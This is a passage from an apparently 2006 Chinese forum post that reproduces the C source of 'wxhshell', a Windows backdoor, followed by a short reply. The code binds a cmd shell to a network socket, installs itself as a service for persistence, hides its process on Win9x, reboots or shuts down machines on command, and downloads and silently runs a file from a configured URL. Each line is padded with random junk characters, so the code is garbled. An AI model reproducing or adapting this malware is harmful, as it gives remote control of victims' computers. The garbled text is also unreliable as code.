  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u ;f~  
  else Z &/b p1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SA)}---"  
  } aXhgzI5]  
  else { >z.o?F  
$ R,7#7bG  
    switch(cmd[0]) { 31Y+bxQ  
  ]'EtLFv)  
  // 帮助 bL]*K$  
  case '?': { qOqQt=ObU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w=e~ M  
    break; T&fqn!i  
  } ZG H2  
  // 安装 7rbl+:y2  
  case 'i': { ^<.mUaP  
    if(Install()) ?8)_,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tTX2>8Gmr  
    else :,]V 03  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g3Xq@RAJc  
    break; BD\xUjd?)Q  
    } R'uM7,7  
  // 卸载 q6%jCt2'  
  case 'r': { D42Bm&JocO  
    if(Uninstall()) #Bj.#5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~?H _?}e  
    else k8Qm +r<p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {I&>`?7.  
    break; @M?;~M?B]J  
    } 27<~m=`}d  
  // 显示 wxhshell 所在路径 Ma2sQW\  
  case 'p': { 7D|g|i  
    char svExeFile[MAX_PATH]; h%8[];*DpN  
    strcpy(svExeFile,"\n\r"); V<ziJ7H/  
      strcat(svExeFile,ExeFile); ^%VMp>s  
        send(wsh,svExeFile,strlen(svExeFile),0); N~=p+Ow[H  
    break; {AoH  
    } ;*{y!pgb  
  // 重启 n? e&I>1W  
  case 'b': { t$m268m~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w[S2 ] <  
    if(Boot(REBOOT)) kid3@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Cdin"  
    else { mg;+Th &  
    closesocket(wsh); C{`+h163\  
    ExitThread(0); uosFpa  
    } \25Rq/&w  
    break; T<=Ci?C v  
    } )+'FTz` c  
  // 关机 d OQU#5  
  case 'd': { U7bbJ>U_|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m}54yo  
    if(Boot(SHUTDOWN)) "7(2m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iSCv/Gb:,  
    else { \tc 4DS  
    closesocket(wsh); C (L1  
    ExitThread(0); F.<sKQ&A  
    } )$p<BLU  
    break; MDZ,a 0?4t  
    } D1}Bn2BM$  
  // 获取shell Rq-BsMX!A  
  case 's': { 9%^q?S/Rv  
    CmdShell(wsh); $b,o3eC  
    closesocket(wsh); fI9 TzpV  
    ExitThread(0); TRW{` b[  
    break; "CI#2tnL7  
  } }1 = V`N(  
  // 退出 oJE~dY$Q  
  case 'x': { .bE+dA6:v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~Gx"gK0  
    CloseIt(wsh); b_+dNoB  
    break; 9*pH[vH  
    } 3J%(2}{y  
  // 离开 4E/Q+^?  
  case 'q': { uH!uSB2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JKN0:/t7 Q  
    closesocket(wsh); klmRU@D  
    WSACleanup(); =~}\g;K1Q  
    exit(1); xdGmiHN  
    break; A\nL(Nd  
        } ;.>CDt-E]  
  } r%\(5H f  
  } ca%s$' d  
#usi1UWB#Q  
  // 提示信息 :y^0]In  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'id] <<F  
} ?:73O`sX:  
  } fTQRn  
^Tgu]t   
  return; K:hZ  
} lO&TSPD^  
v[~e=^IIsl  
// shell模块句柄 6g06s @kz  
int CmdShell(SOCKET sock) 7VQ|3`!<  
{ 5i `q  
STARTUPINFO si; }i0(^"SoXZ  
ZeroMemory(&si,sizeof(si)); !A!}j.s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f"My;K$l;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I<yd=#:n  
PROCESS_INFORMATION ProcessInfo; |+K3\b  
char cmdline[]="cmd"; M*li;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /D2 cY>  
  return 0; }QrBN:a$(  
} ~IrrX,mp:  
L@xag-b i  
// 自身启动模式 -]HPDN,OB  
int StartFromService(void) j:ze5FA+  
{ H <7r  
typedef struct  ntK#7(U'  
{ 0wL-Ak#v  
  DWORD ExitStatus; 6^_:N1 @  
  DWORD PebBaseAddress; I.#V/{J  
  DWORD AffinityMask; ,tqMMBwC~_  
  DWORD BasePriority; 3Run.Gv\  
  ULONG UniqueProcessId; V/xGk9L~  
  ULONG InheritedFromUniqueProcessId; eFJ .)Z  
}   PROCESS_BASIC_INFORMATION; *q**,_?;  
 |e49F  
PROCNTQSIP NtQueryInformationProcess; [HNWM/ff7+  
=qG%h5]n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cXP*?N4C f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t6m&+N  
{6}H}_( ]  
  HANDLE             hProcess; |Rk9W  
  PROCESS_BASIC_INFORMATION pbi; Z{&dzc  
v w(X9xa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,c }R*\  
  if(NULL == hInst ) return 0; )*6 ]m1  
aLa{zB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kC:GEY<N:Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O.OPIQ=?:w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]rk8Jsg  
y*ux7KO  
  if (!NtQueryInformationProcess) return 0; C(/{53G(  
m+&) eQ:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pgNyLgN  
  if(!hProcess) return 0; $6 46"1S  
+Wgp~$o4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 21k^MZ  
:g@H=W  
  CloseHandle(hProcess); , gYbi-E  
NHI(}Ea|]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Js{X33^Ju  
if(hProcess==NULL) return 0; y$-;6zk\]  
0_\@!#-sml  
HMODULE hMod; x$p_mWC  
char procName[255]; M`m-@z  
unsigned long cbNeeded; DNYJR]>  
h zv4+1Wd[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "}/$xOl"  
:<Z>?x  
  CloseHandle(hProcess); :`U@b 6  
,e]|[,r#5  
if(strstr(procName,"services")) return 1; // 以服务启动 6d%V=1^F  
Xx)PyO  
  return 0; // 注册表启动 e$ pXnMx7  
} LHJ}I5zv  
A!xx#+M  
// 主模块 @B e7"Fm  
int StartWxhshell(LPSTR lpCmdLine) n*yVfI  
{ }wY6^JF  
  SOCKET wsl; Lt|'("($*  
BOOL val=TRUE;  :oN$w\A  
  int port=0; jEa U;  
  struct sockaddr_in door; <d`ksZ+  
Jw -?7O  
  if(wscfg.ws_autoins) Install(); MTyBG rs(  
: _,oD  
port=atoi(lpCmdLine); yDl{18~zv  
nogdOGo  
if(port<=0) port=wscfg.ws_port; Uxll<z,  
yAyq-G"sO  
  WSADATA data; <Sn;k[M}d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S! Z2aFj  
^*-6PV#Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E$8 D^Zt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r:xbs0 7  
  door.sin_family = AF_INET; cJ ^:b4j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JJE3\  
  door.sin_port = htons(port); * |dz.Tr  
j*7#1<T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  -9f+O^x  
closesocket(wsl); lPBWpHX  
return 1; 4ju=5D];   
} 7~f"8\  
,\]`X7r  
  if(listen(wsl,2) == INVALID_SOCKET) { JI5%fU%O#n  
closesocket(wsl); k/lU]~PE  
return 1; 39!$x[  
} ;5cN o&  
  Wxhshell(wsl); f[wA ]&  
  WSACleanup(); |L}1@0i  
)0\"8}!  
return 0; qcWY8sYf  
.5s#JL  
} gS VWv9+  
78u9> H  
// 以NT服务方式启动 *i`t4N A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }HLs.k4-;  
{ eI@nskq#  
DWORD   status = 0; YU]|N 'mL2  
  DWORD   specificError = 0xfffffff; KFuP gp  
^F="'/Pq[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Kn#CIFbBN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C2a2K={  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3<"!h1x5  
  serviceStatus.dwWin32ExitCode     = 0; 1+Z@4;fk  
  serviceStatus.dwServiceSpecificExitCode = 0; cOa){&u  
  serviceStatus.dwCheckPoint       = 0; x 8_nLZ  
  serviceStatus.dwWaitHint       = 0; vB<2f*U  
8hZY Z /T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7A=*3  
  if (hServiceStatusHandle==0) return; D\@)*"  
X?B\+dq  
status = GetLastError(); ]iq2_{q  
  if (status!=NO_ERROR) ag* 5fBF  
{ \GP0FdpV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .{8?eze[m  
    serviceStatus.dwCheckPoint       = 0; XusTU  
    serviceStatus.dwWaitHint       = 0; T=W;k<P\k  
    serviceStatus.dwWin32ExitCode     = status; s` $YY_  
    serviceStatus.dwServiceSpecificExitCode = specificError; '<R::M,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <_8p6{=  
    return; HB0DG<c-  
  } 7] }2`^9  
o"19{ D^.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :T9 P9<  
  serviceStatus.dwCheckPoint       = 0; `P4 3O gA  
  serviceStatus.dwWaitHint       = 0; Kt*kARN?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >U9JbkeF  
} "?n;dXYSi  
+YFAZv7`  
// 处理NT服务事件,比如:启动、停止 cAQ_/>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vm8rQFCp74  
{ =3H*%  
switch(fdwControl) $p)e.ZMgE  
{ \; FE@  
case SERVICE_CONTROL_STOP: hf1h*x^J  
  serviceStatus.dwWin32ExitCode = 0; 8bf~uHAr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^U.t5jj  
  serviceStatus.dwCheckPoint   = 0; PHh4ZFl]_I  
  serviceStatus.dwWaitHint     = 0; h2_A'  
  { 8iwH^+h~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Evy_I+l  
  } 'u84d=*l  
  return; WMXxP gik  
case SERVICE_CONTROL_PAUSE: i%3q*:A]2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q}r{%ypf  
  break; 'mm~+hp  
case SERVICE_CONTROL_CONTINUE: VTl\'>(Cl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]dd TH l  
  break; yLY$1#Sa  
case SERVICE_CONTROL_INTERROGATE: 1x3>XN]a  
  break; 9:4m@dguh-  
}; u 2%E(pr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); szw|`S>o  
} ph~ d%/^jI  
3DX@ggE2  
// 标准应用程序主函数 4SNDKFw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3:mZ1+  
{ /DGEI&}&:u  
DWXHx  
// 获取操作系统版本  Uip-qWI  
OsIsNt=GetOsVer(); ]z#9)i_l3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "wj~KbT}&  
H9Dw#.em  
  // 从命令行安装 CYn56eRK  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1F]jy  
4V7=VZ, @3  
  // 下载执行文件 kVY 0 E  
if(wscfg.ws_downexe) { *Kmo1>^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tpj6AMO/`d  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;4Wz0suf  
} v"8i2+j  
EHF dQ0gIa  
if(!OsIsNt) { 0o]T6  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,: Z7P@  
HideProc(); z:)z]6  
StartWxhshell(lpCmdLine); =DsFR9IB  
} ohlCuH 3  
else xDO1gnH%  
  if(StartFromService()) w%uM=YmuT  
  // 以服务方式启动 m2>$)\-;  
  StartServiceCtrlDispatcher(DispatchTable); )>r sX)  
else X ApSKJ  
  // 普通方式启动 D&|HS!  
  StartWxhshell(lpCmdLine); v:zKn[;o  
mBON>Z [4.  
return 0; ^"GDaMF  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八